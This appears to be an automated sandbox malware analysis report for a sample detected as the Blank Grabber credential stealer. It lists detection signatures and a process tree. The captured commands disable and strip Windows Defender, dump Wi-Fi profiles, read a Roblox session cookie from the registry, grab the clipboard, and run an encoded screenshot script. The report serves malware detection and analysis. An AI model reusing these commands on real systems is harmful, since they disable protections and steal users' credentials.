Edit tour

Windows Analysis Report
SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe
Analysis ID:	1446241
MD5:	030c3c535b2d8f10ceaeede6e3fe23f2
SHA1:	032ef2c8e717960d9b49dd7e48e4fc761cb4cfed
SHA256:	e57e596af8f957f936d2a698b1a66697a1a7390eadb08af386060130d342db2d
Tags:	exe
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Capture Wi-Fi password

Yara detected Blank Grabber

Yara detected Telegram RAT

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies Windows Defender protection settings

Modifies existing user documents (likely ransomware behavior)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Removes signatures from Windows Defender

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Powershell Defender Disable Scan Feature

Sigma detected: Rar Usage with Password and Compression Level

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Startup Folder Persistence

Suspicious powershell command line found

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses netsh to modify the Windows network and firewall settings

Very long command line found

Writes or reads registry keys via WMI

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates a window with clipboard capturing capabilities

Detected potential crypto function

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Powershell Defender Exclusion

Sigma detected: SCR File Write Event

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious Screensaver Binary File Creation

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe (PID: 7600 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe" MD5: 030C3C535B2D8F10CEAEEDE6E3FE23F2)

SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe (PID: 7656 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe" MD5: 030C3C535B2D8F10CEAEEDE6E3FE23F2)

cmd.exe (PID: 7708 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7864 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7716 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7840 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)

MpCmdRun.exe (PID: 4568 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)

cmd.exe (PID: 7748 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7888 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8116 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3848 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 8132 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5276 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 5632 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8204 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6920 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 8272 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7412 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8324 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7424 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8224 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 7500 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 8308 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7652 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 8280 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

cmd.exe (PID: 8424 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8788 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 04029E121A0CFA5991749937DD22A1D9)

csc.exe (PID: 8936 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\c3m2uwl3\c3m2uwl3.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 9028 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3733.tmp" "c:\Users\user\AppData\Local\Temp\c3m2uwl3\CSC33F8CF1FA9DB4434A25723BA384E2070.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 8584 cmdline: C:\Windows\system32\cmd.exe /c "getmac" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

getmac.exe (PID: 8732 cmdline: getmac MD5: 7D4B72DFF5B8E98DD1351A401E402C33)

cmd.exe (PID: 8592 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8752 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8868 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 8920 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 8944 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 9008 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 9044 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 9104 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 9124 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1212 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 1544 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1992 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 3124 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8404 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4536 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" *" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

rar.exe (PID: 8296 cmdline: C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe a -r -hp"123" "C:\Users\user\AppData\Local\Temp\R9FJX.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 8316 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3716 cmdline: wmic os get Caption MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 8172 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6288 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

